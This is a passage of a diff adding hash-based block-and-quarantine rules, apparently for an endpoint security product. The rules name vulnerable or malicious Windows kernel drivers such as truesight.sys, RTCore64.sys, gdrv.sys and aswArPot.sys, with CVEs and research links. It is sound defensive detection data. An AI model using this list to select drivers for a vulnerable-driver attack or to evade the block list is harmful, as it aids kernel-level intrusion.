+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.481262Z",
+  "creation_date": "2026-03-23T11:45:31.481266Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.481276Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f25ae02387ffdff6c0ee34448e1919ca9ba6558babcee6074f97d7f42ffbc4f3",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a80bf6c4-a8be-55a3-a679-568cdb1be077",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.829558Z",
+  "creation_date": "2026-03-23T11:45:31.829560Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.829565Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bc05218d56b9c39b3f953e9e602542767d5edff4add56599a8a6aa2539ed8306",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a81286ee-88a6-58da-8eca-93a90f7ff296",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.454737Z",
+  "creation_date": "2026-03-23T11:45:30.454740Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.454749Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "19dba69b48b085d9487cc23a4135f3ef4849c181965bffc55baed9fa6c205429",
+  "comment": "Vulnerable Kernel Driver (aka xjokercontroller.sys) [https://www.loldrivers.io/drivers/b3fd8560-79d3-40b7-b05f-c78044176c8c/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a81c472d-5c43-5026-9bf8-defb10384178",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.607240Z",
+  "creation_date": "2026-03-23T11:45:29.607242Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.607248Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cdd2a4575a46bada4837a6153a79c14d60ee3129830717ef09e0e3efd9d00812",
+  "comment": "Micro-Star MSI Afterburner vulnerable driver (aka RTCore32.sys and RTCore64.sys) [CVE-2019-16098] [https://www.loldrivers.io/drivers/275c80c5-a67c-4536-b29e-4e481242cb01/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a821a2ac-790c-5311-a695-8c978683d680",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.816012Z",
+  "creation_date": "2026-03-23T11:45:31.816015Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.816023Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "813f09d9d8afd970a14e2482b7486606ac18456f89392ec054a482fb63d760c7",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a821c0b5-62b8-5ca2-8dac-6092abfbac29",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.475860Z",
+  "creation_date": "2026-03-23T11:45:31.475864Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.475892Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ee69db23ee91aad6e57170e9ab94ba7501e3f671a099d757a0ddba01b2ccab4a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a822b18a-28ae-5ac3-ad76-430bd6340703",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.149644Z",
+  "creation_date": "2026-03-23T11:45:31.149647Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.149655Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2f8d9a34ee4fb589f38265c1bf8b672f05c8266feed1b95cea2b2312a6a32c38",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a82ebafe-232c-597f-9da3-de2b0413a57f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.808723Z",
+  "creation_date": "2026-03-23T11:45:31.808725Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.808731Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4c01bd3d635e5886b1484504e3bde5d4aa667c256b88a0be258f9abb0611fa56",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a847147f-be03-57c2-800a-08dcd9349904",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.488413Z",
+  "creation_date": "2026-03-23T11:45:31.488415Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.488421Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "01434817f4e9adf62573291ee5aa6dea65151cb79535a1c9957381f8c58c2b6c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a847b08f-bf26-519d-aa81-43526577e08d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.819243Z",
+  "creation_date": "2026-03-23T11:45:30.819245Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.819250Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6f3a182bbeba28dd15e1ad52041b8b32670651686697224cad821a334a8600da",
+  "comment": "Vulnerable Kernel Driver (aka kerneld.amd64) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a8499f85-0830-5c39-88f2-c05eff9b4a17",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.609003Z",
+  "creation_date": "2026-03-23T11:45:29.609005Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.609011Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "092d04284fdeb6762e65e6ac5b813920d6c69a5e99d110769c5c1a78e11c5ba0",
+  "comment": "Gigabyte vulnerable driver (aka gdrv.sys) [CVE-2018-19320] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a849d96d-9bf2-5625-9fea-185ca88de0c3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.471598Z",
+  "creation_date": "2026-03-23T11:45:30.471601Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.471610Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "20e52e0d7f579dc6884cc6e80266fddceda69ea5fdd0b095c0874b0d877e48a2",
+  "comment": "Vulnerable Kernel Driver (aka AsIO.sys) [https://www.loldrivers.io/drivers/bd7e78db-6fd0-4694-ac38-dbf5480b60b9/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a8539e0a-5543-5a4f-9c57-9dc6c9b9289b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.968845Z",
+  "creation_date": "2026-03-23T11:45:29.968846Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.968852Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1023dcd4c80db19e9f82f95b1c5e1ddb60db7ac034848dd5cc1c78104a6350f4",
+  "comment": "Avast Vulnerable Driver (aka aswArPot.sys) [CVE-2022-26522, CVE-2022-26523] [https://www.mandiant.com/resources/blog/unc2596-cuba-ransomware] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a858dafa-b597-5722-aeef-08c21cb3b0c3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.808049Z",
+  "creation_date": "2026-03-23T11:45:31.808051Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.808060Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "68d1635780247024a4475579000212aacc64e81ed59b745cefa749df82df6a7d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a85fa80b-4f78-5ed4-be65-8226bf7b84d8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.142970Z",
+  "creation_date": "2026-03-23T11:45:31.142971Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.142977Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "99576f526ca1a82531030da2946513cba2b396310e31d4c7835725e7298ebe39",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a863fde7-b926-50a0-a120-eba8ef97a7aa",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.155924Z",
+  "creation_date": "2026-03-23T11:45:31.155926Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.155932Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "650f32fd7b1f4af7523464937377aeaed41d72b1e6954e0036cd347d5eb8f792",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a86ccc16-085a-5dd0-9273-b94db89c65db",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.455610Z",
+  "creation_date": "2026-03-23T11:45:30.455613Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.455622Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7702f240800528d8186e3e6a26e2680486fed65a6fb5a2a000ad12c1fb61a398",
+  "comment": "Vulnerable Kernel Driver (aka HWiNFO32.SYS) [https://www.loldrivers.io/drivers/2225128d-a23f-434a-aaee-69a88ea64fbd/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a871665d-51ce-5073-980b-b215a3c5f70c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.985685Z",
+  "creation_date": "2026-03-23T11:45:29.985687Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.985692Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d0d8dcc01aba3ac08084ad40df3c64e7dfdd26ad403b08e610b96e2fcaf8a713",
+  "comment": "Malicious Kernel Driver related to WINTAPIX (aka WinTapix.sys and SRVNET2.SYS) [https://www.fortinet.com/blog/threat-research/wintapix-kernal-driver-middle-east-countries] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a87200fe-24cf-5474-9704-49f4e0480421",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.972371Z",
+  "creation_date": "2026-03-23T11:45:29.972373Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.972378Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "727666434d5ea292a7631d0944edd36097db12862730996ce8a3f052be04a2cd",
+  "comment": "Intel Ethernet diagnostics vulnerable driver (aka iQVW64.sys) [CVE-2015-2291] [https://www.loldrivers.io/drivers/1d2cdef1-de44-4849-80e5-e2fa288df681/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a87e18e6-2986-5f6f-85bc-438b74234674",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.982271Z",
+  "creation_date": "2026-03-23T11:45:29.982273Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.982279Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4cff6e53430b81ecc4fae453e59a0353bcfe73dd5780abfc35f299c16a97998e",
+  "comment": "Vulnerable Kernel Driver (aka t3.sys) [https://www.loldrivers.io/drivers/31a962ce-43ef-410f-873a-7ccc8f00332b/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a8842d7a-3156-5926-a1e0-bf806cdebf15",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.145729Z",
+  "creation_date": "2026-03-23T11:45:31.145731Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.145737Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "dc5205f4653d4f1f26dd23d00f83746c5e5fae208a55851add88ee2ef4352f9d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a89cdefa-b7b4-5273-92fe-0e00c746b8bd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.493006Z",
+  "creation_date": "2026-03-23T11:45:31.493009Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.493018Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "421383a2fe20328af88ab454b863484805640dd5902e6c5f07e6bf3f9cbb9f5a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a8bc7cb5-4a83-5e4c-a37c-cd93c0d097fa",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.472496Z",
+  "creation_date": "2026-03-23T11:45:31.472499Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.472508Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
